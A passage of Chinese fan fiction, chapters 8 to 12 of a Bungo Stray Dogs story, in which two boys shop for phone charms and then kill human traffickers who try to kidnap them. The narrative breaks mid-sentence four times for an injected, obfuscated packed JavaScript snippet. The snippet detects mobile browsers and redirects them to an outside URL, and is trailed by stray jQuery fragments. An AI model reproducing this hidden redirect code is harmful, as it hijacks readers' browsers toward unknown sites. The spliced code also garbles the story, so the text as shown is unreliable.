别的孩子都是在十四五岁的时候狂长身体,饭量大的几乎让人觉得家里养了头猪,可偏偏自家中也的饭量一成不变,只是随着时间的推移吃得多了点,完全没有其他人所说的生长期。 弥生三月一直觉得中也在压着自己的食欲,常年吃不饱导致个子长不高,所以格外心焦,于是努力攒钱,就为了等待中也迎来属于他的生长期,好好喂饱他,不让他饿肚子。 中也握住他的手,力求让他恢复冷静,虽然自己也很难从忽然获得这么大一笔巨款的事情中冷静下来。 “先做正事吧。”中也和他头对着头,也很高兴,“不如这样吧,为了庆祝,我们今晚吃寿喜烧。” 弥生三月用力点头,拉着他朝着集市摊位走去,准备买完手机挂绳就去超市买食材。 他们两个谁都没说把钱包或者钱还回去的事情。 在弥生三月看来,他们两个当初在擂钵街搞出那么大的事,现在在这里偶遇,对方又是一副不知道在设什么圈套,假装不认识自己和中也的模样,给这些钱不仅仅是这次的赔偿,也还包含精神赔偿。 而中也的想法就更简单了,既然是赔偿,为什么要还? 8. 第 8 章 怀揣着彩票中头奖的心情,弥生三月这次是哼着歌走到刚刚那个卖的死贵死贵的摊位前。 在灯光的照射下,标在视频上的价格在此刻也变得分外能令人接受了。 弥生三月放平心态,在摊位上挑挑拣拣,随后腰杆挺直地转身和中也平静道,“这里没有喜欢的,我们换下一个摊位看看吧。” 有了金钱的支撑,就算是说“不”也瞬间变得有力多了。 他这副样子实在太过可爱,中也忍住笑容,跟着他的脚步走到下一个摊位前,跟着他一起选挂绳。 摊位上各色的挂绳摆在一起,弥生三月第一眼就看到一个用羊毛毡戳成的橘色狐狸。 他伸手去拿,手指却被身旁中也同样伸过来的手挡住,两个人的手在半空相触,中也握住他的手去摘放在一边同样是羊毛毡戳成的棕色花盆和花盆里开着的白色小花。 “这个感觉怎么样?”中也问道。 三月一向喜欢这些花花草草,想必也一定会喜欢这个挂件。 弥生三月摘下小狐狸,在手心晃了晃,柔声道,“既然中也选了这个,那我就选这个啦。” 说着,从口袋里拿出手机,把这只橘色的小狐狸挂在了手机上。 中也没想到这个挂件是给自己选的,还小小的挣扎了一下,“不是说要给你选手机挂绳吗?” “既然要选,那干脆我们两个就一起选嘛。”弥生三月探身上前,清浅的花香一瞬间笼罩住中也,就像一个铺天盖地的网,轻轻把他网在其中。 仿佛此时此刻在此地就只有他们两个人一样。 这样的感觉并没有持续多久,弥生三月从他口袋里抽出手机,随后低下头,银白色的长发随着他的动作落下一缕挡住小半张脸,让中也只能看到一双含着林中雾气般的浅绿色眼睛。 弥生三月低垂着眼,纤细的手指比藤蔓的枝条灵活,把白色小花翻来覆去的蹂躏了一遍,最后终于找到空隙,把指间的一枚细小的种子塞了进去。 这也是他选择这种挂件的原因。 不同于严丝合缝的工艺制品,这种个人手工的产品非常适合他藏匿进去一些种子。 这样就不会轻易发生今天早上那样的事情了。 想到这,少年脸上的笑意加深,动作更认真了几分。 中也看着他把自己刚刚挑选的白色小花挂在手机上,直到他一脸雀跃的拿起手机展示,白色小花在他面前晃来晃去时才猛然回过神来。 “中也,怎么样,是不是很可爱?”弥生三月笑得眉眼弯弯,又把自己手机上的小狐狸展示出来。 两个羊毛毡戳成的小挂件在一起摇摆,他笑吟吟的伸出手,把带着小白花挂件的手机递到中也面前。 “这可是我们两个一起选的挂件,你可不能摘下来哦。”弥生三月发出毫无威慑力的威胁,“如果哪天被我发现摘下来了,嗯……我想想,那就必须要和我一起再买一个!” 末了他点点头,很满意这样的安排,“对,就是这样。” 然后自己就可以再给挂件里面塞进种子。 或者,自己也学习一下怎么制作这种挂件?不仅可以省一笔购买的钱,还可以和鲜花一起售卖。 今天兰堂的出现让弥生三月心里警铃大作,生怕中也在自己哪一时不查就被人拐跑,临时决定要选一个能让自己安心的方法。 中也接过手机,嗤笑道,“你这算是什么威胁?” 嘴上这么说,却还是很妥帖地把手机放在口袋里,还生怕弄丢,往里面塞了塞。 “那挂绳你要选哪一条?”中也把目光再次投向摊位,一眼就看中了一条深绿色,和弥生三月颈间缎带几乎同色的挂绳。 唯一的不同是,这条缎带上印着青白色花蕊、白色花瓣的小小白花。 这些小白花并排地,一朵一朵的被印在挂绳上,看起来和弥生三月格外的搭。 有了刚刚的教训,中也没自己上手去拿,生怕这条挂绳又变成自己的了。 他晃了下弥生三月的手,示意他自己去看,“这条怎么样?” “好,那就这条吧。”弥生三月看了一眼价格,没有犹豫,直接拿下。 把手机挂在挂绳上,弥生三月在中也面前稍稍蹲下,中也默契地拿起挂绳,帮他挂在脖子上,顺手还把一起被拢进去的长发也顺了出来。 今日的采购目标已达成,接下来就要去超市购买制作寿喜锅的食材了。 现在这个时候超市的人并不太多,弥生三月没有挽着中也的胳膊,因为对方推了购物车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440225|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只能退而求其次牵着他的衣角,左顾右盼的寻找要购买的食材。 牛肉,扔进购物车。 鸡肉块,扔进购物车。 茼蒿,家里有不用买。 胡萝卜,家里有不用买。 香菜?不行,这个绝对不行!这是异端!绝对的异端!! 自己绝对要拔掉世界上所有香菜! 蘑菇…嗯…上次买的昨晚吃面条的时候已经吃完了,以后家里要不要种一点吃?先拿一点。 无菌蛋…要不再养两只□□?再养头牛!不过自己和中也好像都不会杀牛欸… 弥生三月快乐地挑挑拣拣、拿拿取取,最后从货架上拿了几罐饮料放在购物车里,等结账完从口袋里掏出草莓形的环保袋,把食材都装进袋子里,把省钱贯彻到底。 把它们拎回家的重任自然由中也承担。 那袋食材被他拎在手里轻若无物,剩下的手牵着弥生三月,还不忘询问他,“要是累了,那我背你回去吧。” 就算不出门卖花,也能在小花园里捣鼓一整天的弥生三月依旧活蹦乱跳的,闻言他歪了歪头,“中也累了吗?” 如果中也累了,自己抱着他也是完全可以的。 这么一想,弥生三月立刻跃跃欲试起来。 他松开中也的手就要去抄对方的膝弯,中也身上立刻亮起红光。 弥生三月抱了一下没抱动,干脆就蹲在地上抱着他的腿控诉,“你作弊!” 红光飞速蔓延到弥生三月身上,把他给带了起来,中也紧张地四处看看,嘴上抱怨,“不要忽然这样抱过来啊。” 虽说今天是工作日,街上还是有三三两两经过的行人的。 弥生三月眉眼弯弯,半靠在他身上,目光似乎不经意扫过路边的绿化带,握着中也的手腕捏了捏。 他们两个靠得极进,弥生三月说话的声音很轻,“有人在看我们哦,笑一笑嘛中也。” 不远处的绿化草丛提示一样微微摇晃,中也神色一肃,钴蓝色的眼睛凛冽地看过去,他脚边的石子也微微晃动,紧接着如子弹一般飞去,瞬间把茂密的叶子打得七零八落。 藏在绿化带后的男人一瞬间就被掀翻在地,中也一脚踩在他身上,冷笑道,“胆子很大嘛,大叔。” 9. 第 9 章 不知道在这里守了多久的男人坐在路边打了个哈欠。 他伸手想去摸口袋里的烟,却摸了个空,只能咂巴一下嘴,又四处张望了一下。 还是没有合适的孩子出现,不是说擂钵街附近没有身份的孩子很多吗?自己刚给上面的大人物送去几个孩子赚了点钱,怎么现在又没有货源了。 还被附近的侦探社给盯上了,昨天组织里刚折损了好几个人。 男人心中感叹着自己出师不利,肚子咕噜噜的叫了两声,他摸着自己饥肠辘辘的肚子,又四处张望了一下。 四周的行人来来往往,看来今天也是没有收获的一天,他正准备收工,转头就看到两个孩子说说笑笑,吵吵闹闹的走过来。 本着有一个算一个的想法,他立刻就躲进草丛举起手机,准备拍一下这两个猎物,传递消息给组织,让他们在接下来的路口设下埋伏。 随着他们越走越近,透过取景窗,他逐渐看清了靠近镜头的少年的脸。 橘色的头发,如同蓝宝石一样凌厉的钴蓝色眼睛,他怔了一下,满心都是看到合适猎物的喜悦。 两个孩子笑笑闹闹,另一个白色长发的少年也探出头来,雾绿色的眼瞳仿佛不经意的朝着自己看了一眼。 只这一眼,他就认出这就是昨晚被那群侦探抓走前,传回组织内照片中的孩子。 居然,这样的大运也降临在自己身上了吗! 男人拿着手机的手不停地颤抖,他仿佛已经看到卖掉这两个孩子后,自己后半辈子衣食无忧的场景了。 然后“啪”的一声,树叶摇晃,自己的梦也碎了。 橘色头发的少年一脚踩在了自己的肚子上,脸上是张扬的笑容,但钴蓝色的眼睛却像是结上了冰,“胆子很大嘛,大叔。” 他立刻想起身,但少年踩在身上的脚就像死死固定在他身上一样,并且在他看向白发少年时踩得更重,身下甚至都发出水泥碎裂的声音。 “随便觊觎别人可不是什么好习惯。”中也瞥了一眼对方脱手,掉在地上的手机,脚下更加用力,“让我猜猜,你总不会是想要给我们找一户好人家过好日子吧。” 男人被他踩得内脏都要变成一滩烂泥,似乎是意识到了什么,他声音断断续续的求情,“饶……了我……” 他曾经听过,镭钵街里面生活着一位被称之为重力使的强大异能者。 强大的异能者橘发蓝瞳,但偏偏没人提过他的年纪。 而现在那位异能者的外貌和眼前这个橘发蓝瞳的小子逐渐重合。 求饶的声音几乎每个字都带着痛苦的意味,但求饶对中也没有丝毫用处。 弥生三月捡起手机,看了眼只有屏幕碎了,随便按了几下,屏幕发出了亮光,看来还能用。 看着锁屏界面,他抬起头晃了晃手机,“中也。” “密码是多少?”中也意会,脚下微微放松了力道,“说出来,我就留你一个全尸。” 男人猛地瞪大眼睛,眼球鼓胀,张嘴想说什么,结果在“咕”的一声后,就再也没了声息。 “喂,别装死。”中也不耐地用脚痛击他的脸,男人软趴趴的没有任何回应,他不耐地“啧”了一声。 “怎么这么容易就死了?” 他还特意放轻了脚步,按照以往的经验,这点力道是死不了人的。 “可能是运气不好吧。”弥生三月把手机收起来,准备明天找个店看看能不能破解开,或者卖点钱。 再不济给侦探社,说这是线索也不错。 在这里死了人肯定要被调查的,弥生三月从口袋里再次掏出一个大袋子,和中也两个人把人装进去,接着把他抛尸擂钵街。 一路上中也的脸色极差,等处理完这具尸体,他才脸色臭臭地说,“真是活得不耐烦了,居然把主意打到我们身上了。” 可惜那个人死的太快,不然自己今晚就去端了他们的老巢。 弥生三月笑盈盈的安抚,“安啦安啦,只要他们还在镭钵街活动,被我们中也处理掉是迟早的事情,先回去吃饭吧。” 中也脸色稍缓。但依旧看起来心情不那么美妙,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440226|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低低的叮嘱,“你最近出门的时候小心一点,如果有什么不对劲,立马就回来,明白了吗?” 他知道这个时候劝弥生三月不要出门只是徒劳,但好在他的异能能够提前察觉到附近的危险,要想及时跑掉也是可以做到的。 三月温顺地一一答下,那双漂亮的眼睛却微微垂了下来。 还真是一波未平一波又起,别以为自己刚刚没听到那个男人的话,居然敢觊觎自己的中也。 自己还没有尝到呢,怎么能被其他人轻易得手呢? 他笑盈盈地怀着自己的小心思,和中也手牵着手,回到被花草树木环绕的家。 在客厅的桌子上插上电锅,弥生三月把无菌蛋打进碗里,然后满含期待地看向中也。 他预料中对方大快朵颐的场景并没有出现,中也奇怪地看他一眼,“你怎么不吃?” “中也,你不饿吗?”没能看到因为长身体而猛猛吃饭的中也,弥生三月开始寻找客观原因。 中也夹起一片涮的熟度适中的牛肉,吹了吹放进弥生三月的碗里,挑眉道,“这算什么问题,这个时间不止我,你应该也饿了吧?” 看他咬着筷子盯着自己,中也眯了下眼睛,“你不会是在学那些人减肥少吃什么的吧?” 他看了眼少年捏着筷子骨节分明的纤长手指,还有露出袖口,腕骨突出的纤细手腕,又觉得不应该。 弥生三月摇摇头,试探性地开口,“那,那你有没有想吃很多很多东西的冲动?” 中也:? 自己是什么野兽吗,为什么忽然要吃很多很多的东西? 他忽然意识到自己对自家的幼驯染不太了解,“为什么这么问?你现在是有这种想法吗?” 中也拿起切好码得整整齐齐的一盘牛肉,主打一个不理解但善解人意,“如果你现在想吃,我可以帮你涮肉,你只管大口吃就好了。” 弥生三月和中也对视,随后陷入沉默,开始思索。 十五岁,青春期应该来了啊。 应该已经到了……吧? 10. 第 10 章 这个问题到底没能得到答案。 因为中也吃完午饭就去找【羊】的人算账了。 弥生三月一边想要不要抽空去书店借几本关于青春期的书看看,一边拿着园艺用的剪刀和花篮采花,准备下午处理一下去给今日订花的客户送花。 等包扎完鲜花,抱着鲜花走在路上,他才恍然地想起。 自己不认识字啊! 他和中也一样,都是绝望的丈育。 绝望的丈育把花送到各个客户家里,看着怀里还剩下的自己特意多采了一部分的鲜花,准备在路口卖完这些鲜花再回家。 现在的时间是下午三点,再等等就能等到下班的高峰期,根据弥生三月卖花的经验,那时候是鲜花最好卖的时刻。 他在常卖花的街角站定,少年体型纤细,容貌出众,抱着花站在路边即使不说话也是一副美景。 下午的阳光有些晒,弥生三月站在房屋的阴影之中,衬得他更加引人注目,匆匆的脚步声踏过来,他微微抬眼,看到了上午在商场里撞了他们的异国美人。 “您好。”弥生三月扬起脸,询问道,“请问要买一束花吗?” 现在四周没人,正好可以把他引诱过来,然后…… 兰堂怔了一下,脚步微微一顿。 氤氲着香气的鲜花被递到他面前,兰堂低下头,看着弥生三月陷入短暂的沉默。 “花就算了,我一会要去上班,不适合带这种东西。” 递在他面前的鲜花并没有收回,弥生三月笑意盈盈道,“不用您付钱,这是送给您的,毕竟您今天早上已经给了我很大一笔钱了,不是吗?” 这句话瞬间勾起兰堂的记忆。 他下意识地接过鲜花,仔仔细细地看了他几眼,“你是今天上午的那个孩……” 兰堂顿住了。 他注视着少年的脸,有什么东西在心底破土而出,和他前一段时间恢复的记忆逐渐重合。 在记忆中,那是在黑色爆炸发生时,破土而出的纤细幼苗。 他的声音沉了下来,“是你啊。” 他认出自己了。 弥生三月的笑容更加灿烂了。 “是我呀。”少年声音欢快地回应,他歪了歪头,笑得眼睛都眯起来了,声音甜腻,“您要和我找个地方好好聊……” 他话没说完,另外两对脚步声匆匆而来,弥生三月一瞬间收起之后的话,和兰堂一起朝着来人看去。 他手搭在花上,已经做好等人一过来,就递上花问对方买不买花的准备了。 “真没想到这里能遇到兰堂先生啊。”走来的人是一个身穿着长款西装外套的少年,白色的绷带层层叠叠的缠住一只眼睛,就连裸露出来的手腕上也裹着纱布,一副命不久矣的病弱模样。 他身后跟着一位外表看上去十分绅士体面的中年人,戴着一只单片眼镜,亦步亦趋地跟在少年身后,一副管家的模样。 他和兰堂显然相识,手里捧着本鲜红的书,上面写着几个白色的字,见弥生三月目光落在自己的书上,立刻双眼放光的凑过来。 “你也对这本书感兴趣?我今天的运气很好,可以和如此美丽的小小姐成为知音。” “抱歉。”弥生三月看了眼兰堂,柔声道,“我不认识字。” 他递上手里的鲜花,没有接其他的话,询问道,“您要买一束鲜花吗?” 太宰治笑盈盈的搭讪,闻言摸了摸自己的口袋,毫无心理负担的回答,“啊,我的钱在入水的时候被冲走了。” 跟在他身后的广津柳浪简直不忍直视,从口袋里抽出一张纸币递到弥生三月面前,替太宰治付了钱。 太宰治兴致勃勃地正等待弥生三月问为什么入水,弥生三月递上鲜花,却没在追问,微笑着道谢,“感谢您的惠顾。” 一阵风袭来,清浅的花香瞬间笼罩住太宰治,太宰治没接,身后的广津柳浪伸手接过,把花抱在了怀里。 他从兰堂和这个少年之间的气氛中敏锐的察觉出不对劲,试探道,“兰堂先生,真没想到,你居然认识这么美丽的小小姐,以前似乎从没听到你提起过?” 锁定了目标,兰堂现在最应该做的就是像弥生三月说的那样,找个地方好好聊聊。 但太宰治的到来打破了这场谈话,兰堂在港口Mafia年头不少,对太宰治也有所接触,在这样的试探下语气有些轻描淡写。 “是今天早上认识的。”兰堂道,“早上在商场购买围巾的时候不小心撞倒了。” 他裹了裹身上的大衣,似乎被风吹得很冷,转而把视线投向他们,“这个时间……你们是有事要办吗?需不需要我帮忙?” 他在港口Mafia的资历很深,在上一任首领在时就已经加入港口Mafia了,只不过一直没受到重用,直到森鸥外上任,才被注意到,一路走到了准干部一职。 而作为准干部,对港口Mafia也有所了解。 如果不是非必要,太宰治也不会和广津柳浪在这里闲逛。 那就一定是有任务在办了。 虽说不应该随意打探别人的任务,不过就算是自己这样问,他们想必也不会轻易告知自己任…… “任务啊,森先生确实给我下达任务了。”太宰治毫不在意,出乎他意料的把任务抖落了个彻底,“最近不是在传前任老大复活了嘛,森先生让我和广津先生去擂钵街调查一下,啊对了,你们知不知道擂钵街怎么走?” 他语气随意的就像在说一件稀松平常的事一样。 身边就站着一个熟悉周围道路的广津柳浪,太宰治却还是这么问了,目光甚至还是落在弥生三月身上的,显然是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440227|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问他。 兰堂怔了一下,然后看向弥生三月。 弥生三月依旧笑盈盈的,给他们指了一个方向,“擂钵街就在那边,各位直走后在第二个路口转弯就能看到了。” “真是太谢谢你了,你是在擂钵街居住吗?”太宰治一副完全被美丽少女迷住的样子,和他继续搭话。 “抱歉。”弥生三月微微垂眼,柔声道,“我是男孩子。” 太宰治:…… 广津柳浪看了眼时间,低声提醒,“要先去吃晚饭吗?” “先去擂钵街吧。”他长长叹气,一副“生活索然无味”的厌世表情,摆着手一路走了。 弥生三月再次把目光望向兰堂,笑容温柔,“如果您想找我,可以来擂钵街找我,我们可以好——好——聊——聊——。” 最后几个字,他拖长了音调。 大概是因为弥生三月并不是兰堂要找的主要目标,兰堂似乎并不想在没有把握的时候和他敞开心扉。 弥生三月有点难过,毕竟自己都表现得这么有诚意了,却还是不能让猎物掉进自己圈套。 是太拙劣了吗?还是自己太心急了? 扪心自问,消失了八年的大鱼忽然露出踪迹,钓鱼佬要做的难道不是收杆抄网吗? 这一切问题都没人回应,弥生三月生活在这里,想要直接动手也多有限制,只好和兰堂互换了联系方式,准备下次再约时间。 作为猎人和猎物,这场相会似乎太和平了一点。 兰堂的记忆恢复得一半一半,勉强把弥生三月和那场爆炸对上号,但又不知道该把他对上哪个号。 他创下这样的谎言,是为了引诱那个被自己解放的荒神出现,但现在荒神没有踪迹,反而是另一只不知从何处出现的怪物探出了头。 这是无论哪一个猎人都不愿意见到的场景。 要放弃现在的鱼饵,前任港口Mafia首领,来换成这枚刚刚出现的鱼饵吗? 现在的计划初见成效,换鱼饵显然不是明智之选。 或者,和他好好聊聊,或许能够让自己恢复过多的记忆。 兰堂收起手机,转身准备离去,却听到身后的少年忽然叫住自己。 他转过头,看到站在太阳下,晃得本来就肤色极白的少年恍若透明,怀抱鲜花,为自己递上了一束。 “这是送给您的鲜花。” 弥生三月低下头,浅淡的绿色眼睛微微眯起,睫毛如冬日的白雪般轻轻覆了下来。 他轻声叹息,“兰堂先生。” “说起来,我最近真的很饿,也很心急。” 就像朋友之间在倾诉最近的烦恼一样,少年的语气里带着些烦闷。 “如果有人动了我的食物的话,我可能会把他也一起吃掉……您应该也能够明白这种感受吧?” 11. 第 11 章 太阳光斜斜的落下,街角就只剩下弥生三月一个人。 他有一搭没一搭的拨弄着手里的鲜花,就连路边有人经过,也没去询问对方要不要购买鲜花。 就像一个站在路边忧郁的等待恋人的少年一般,令路过的人惊艳一瞥,却又因为少年的美貌不敢上前。 弥生三月忽然有点后悔。 直接把他吃掉好了。 自己到底在顾虑什么?吃掉他们不本来就是自己该做的吗? 但这个问题在此刻无人回答,只有风吹入街角发出的“呜呜”声响。 怀中鲜花垂下的枝条随风摇动,弥生三月被冷风吹得瑟缩了一下脖颈,随后像是解决了什么世纪难题一样,眉目舒展。 没关系,等下次再遇到他时,在他把中也吃掉前,自己就可以把他吃掉了~ 而且,下一个食物已经到了。 周围绿化带里栽种的植物随风“沙沙”作响,弥生三月遥遥看到隔街停下来的面包车上走下来三四个人,等面包车一走,他们也没有四散开,全都站在路对面抽着烟。 即使相隔甚远,弥生三月也敏锐的察觉到他们的目光落在了自己身上。 那辆面包车他见过,是和乱步一起回擂钵街时,那群人贩子开的车。 自己还没去找他们,他们就先来找自己了吗? 可真是—— 太好了! 弥生三月心情愉悦的弯起唇角,看着路上的行人匆匆走过,再次开始兜售鲜花。 此刻正值下班高峰,劳累了一天的下班族疲惫的走在路上,在嗅到清浅花香时下意识的左右寻找,最后目光落在了弥生三月身上。 娇艳的鲜花无异是能够慰藉心灵的礼物,弥生三月的定价不高,怀中的鲜花很快兜售一空,只留下几根在挑挑拣拣时折断的花朵, 其中一朵只剩下短短花梗还缺了几枚花瓣的雏菊被他随意别在耳后,其他品相还不错花干脆就一一送了出去。 他轻身而去,只留下一些没买到鲜花的人在原地望洋兴叹,等确定弥生三月明天还会再来时才喜笑颜开的离去。 下班的时间一过,街角的人流渐渐减少,弥生三月转过身,目光在那群还在街对面,却因为等了太久而蹲下身的人贩子身上匆匆略过,随后转过了街角。 那群目光一直时有时无的落在弥生三月身上的人贩子瞬间全都站起身。 他们并没有着急去追,反而拿出手机,开始“喂喂喂”的打电话。 “‘大鱼’朝你们那边去了。” 走过街角,弥生三月走走停停,都没等到那群人追上来,直到他再次走过了一条街,才通过共感,听到了那些人的脚步声。 是还有其他的帮手吗? 这个问题在他走到那天和乱步穿过的小巷口时就有了答案。 藤蔓的叶子轻轻摇晃,弥生三月在小巷口站定。 在擂钵街附近生活了这么久,他自然不会只有这一条路可以走。 但谁让自己今天放走了即将进嘴的食物,家里还有嗷嗷待哺的金桔呢。 少年轻轻抚了一下长发,长发上残破的雏菊随之轻轻晃动了一下,又被他紧紧的掖在耳后。 他步履轻盈的走进小巷,攀附在墙壁上本来无花的藤蔓悄无声息的伸展枝条,慢慢的绽放出一串一串细小的,掩藏在叶子中几乎和叶子同色的黄绿色花朵。 而后,衣物摩擦声传进了弥生三月的耳朵。 几个身穿冲锋衣的男人从小巷里小心翼翼的走出来,小巷不大,狭路相逢,自然是刚刚走进来的弥生三月退出来。 他礼貌的后退几步,转身准备走出小巷,鼻尖却嗅到一阵甜丝丝的,混合了一点酒精和果香的刺鼻味道。 墙上的爬山虎瞬间朝着身后的几个人伸出细细的枝条,又在下一个瞬间蹲住,蛇一般缓慢蜿蜒的后退回去。 从巷子里走出来的人贩子动作极快,在弥生三月转身的瞬间就从怀里的塑料袋里掏出浸满迷药的手帕,一把捂住少年的口鼻,另一只手环在他腰上,等察觉到他已经软了身子,立刻把手帕撤走了。 这东西搞不好是要死人的,他们可不想为港口Mafia新首领献上一具美丽的尸体。 带着已经昏迷的弥生三月走出巷子口,互相碰面的两伙人贩子全都上了刚刚停下的车。 车门一关,车子启动,车内顿时响起一阵不大不小的欢呼声。 迷晕弥生三月的人贩子把他扔到后排座位,伪装成一副犯困躺在后排睡觉的模样,忍不住感叹,“真没想到这条鱼这么好抓。” “上次是因为那个侦探社的孩子也在,才让我们折损了这么多人。” 在路边蹲点的人贩子愤愤不平,“等加入了港口Mafia,我迟早要让那群侦探好看!” 开车的司机通过后视镜,一副看傻子的模样看着他,“醒醒吧你,你知道异能侦探社的人都是什么人吗?” “那可都是拥有异能力的人,这样的人在港口Mafia待遇都是最好的!” “说起来,我记得今天中午有人传回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440228|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来情报,和这个孩子在一起还有个蓝眼睛的孩子吧?” 坐在后排的人贩子一一询问,“你有看到吗?” “你看到了吗?” ‘你看到了没?’ 得到全员否定的答案,他摸着下巴,陷入沉思,“那就怪了。” “等等,你们看看这小子刚刚是不是动了?”一直瞄着后排座位的人贩子忽然惊呼出声,就被人一手拍到了头上。 伸手的人满脸不耐,“我迷药都是下足了的,再多捂一会人就死了,怎么可能还会动。” “是啊,可能是车子太颠簸你看错了吧。” “就是就是。” 旁边的人贩子一一附和,转而刚才继续的话题,“等把这孩子送回组织,我们就继续去那边盯梢,能和他在一起的应该也是擂钵街的,一起绑回来,正好上面大人物催得急——” 他话没说完,盯着后排的人贩子又是惊恐的大叫,惹得他更加不耐,“你鬼叫什么啊啊啊啊——” 他出口的话一瞬间成了惨叫,司机透过后视镜看到一颗硕大的,仿佛人脸一样大的花盘从后排幽幽的探过来。 围绕着花盘的花瓣有几片残缺,花盘轻轻摇晃,而在它身后,花梗盘悬着,旋转着紧紧箍在那几个刚刚还在聊天说话的人身上,力道之大,司机甚至看到有丝丝血液从勒紧的地方渗出。 有细小的根系在他们身上扎根,就像仿佛这颗不知从何处钻出的,拥有着类人脸庞的花企图榨干他们的所有生命力一样。 他的眼睛猛然睁大,冷汗瞬间流了下来,手下的动作不停,单手猛打方向盘,另一只手去掏挂在腰上的枪,也不管身在何处,朝着后排座位,疑似这朵花生长出来的地方连开数枪。 一阵“砰砰砰砰”的枪响,司机目眦欲裂。 因为他发现这些花枝在有限的车厢内灵活的挥舞,所有子弹都打进被它卷起的人身上。 面包车猛地甩尾,车门被花枝撞开,他眼睁睁的看到后排的弥生三月被甩出车,而车外的景色让他心头一喜。 已经到了老巢了。 可还不等他求援,那枝灵活的花枝已经盘悬着卷在变速杆上。 花盘在后视镜里对他仿佛缓缓裂开了一个笑。 不容他仔细去看,花枝用力一拉,面包车猛然加速,以一种急速撞在墙上,老式的车油箱被撞破,滴滴答答撒了一地,铁质外壳摩擦产生的火花跳跃,随后—— “轰!” 冲天的火光拔地而起,瞬间把面包车吞噬殆尽。 12. 第 12 章 弥生三月从急速行驶的面包车里钻出来,伏下身体半蹲单膝落地,毫发无伤。 他慢慢起身,拍了拍刚刚落地时沾了些许灰尘的缎带和长发,随后站直身体,维持着和车上时与那朵巨大雏菊一般无二的笑容,静静注视着面前的火光。 火光冲起的热浪近在咫尺,灼灼的朝着少年扑来,他脚步丝毫未动,甚至连眼都没眨一下。 轻绿色的眼瞳倒影着火光,像是某种无机质的绿色宝石,又像是某些实验室中合成的人工造物,不含任何感情的倒映出一切事物。 在火焰即将触碰到他的前一刻,大火中有花枝骤然伸出,瞬间卷走全部火舌,被烧灼的有些焦黑的花枝在离去前蜿蜒的卷起弥生三月的手。 他伸手拉住,花枝依恋的缠上他的手腕,尾部被大火熔断,只留下一截青翠小蛇一般盘旋在少年指间,在纯白的衣袖上拖出一道长长的,被烧黑的印子。 这场火烧得猛烈,风裹着热浪吹起长发,连空气都被烧灼得产生奇异的扭曲感。 基地内的人被这场激烈的碰撞与大火惊动,脚步声阵阵,匆匆从摆满了集装箱的厂房里跑出来,弥生三月转头朝他们来的方向看去,在直接上去吃饭和继续假装晕倒中认认真真地纠结了一下。 直接上去开餐是很符合一个饥饿的人的想法,但这里的场地错综复杂,地面上还铺了一层水泥,看起来很难有植物生长。 自己少了很多双眼睛,很难把他们一网打尽。 相比较下,装晕可以继续深入敌营,说不定能偷偷地吃到更多的食物,等再晚些还可以让中也来救自己呢。 他摸摸自己颈间的手机,准备趁机给中也打个电话。 但还没等打开手机,匆匆的脚步声便停了。 弥生三月:…… 他转过头,和已经赶来的人贩子四目相对。 人贩子立刻掏出枪指着他,大声恐吓,“你在那干什么!谁派你来的!” 谁派我来的,不是你们绑我来的么。 弥生三月轻轻叹气,此刻已经知道装晕这条路走不通了。 他歪了歪头,抬起缠着花枝的手,露出了甜美的笑容。 他的笑实在太过灿烂,以至于让对方一时晃了下神。 “好孩子。”少年的声音温柔,像在哄着什么单纯稚嫩的孩子一样,“去吧。” 被如此温柔以待的雏菊在他指间猛地后撤了一点,铆足了劲蓄力,子弹一般飞快地弹射出去,在人贩子还没反应过来的时候,就已经缠在他身上,贪婪地生根发芽。 被缠住的人贩子手握手枪,手指却被花枝牢牢地固定住,无法动弹。 他惊恐地瞪大眼睛,感受着本应直立的花枝一段一段的在自己身上攀爬,随后无声地收紧,挤压着皮肉骨骼,挤出肺部里的最后一点空气,逼迫他发出惨叫哀嚎。 这个倒霉蛋应该是离这里比较近,哪怕是发出这样惨烈的嚎叫,也没有第二个人窜出来支援,弥生三月只能听到本来就急促的脚步声更快了,但是还是没人出现。 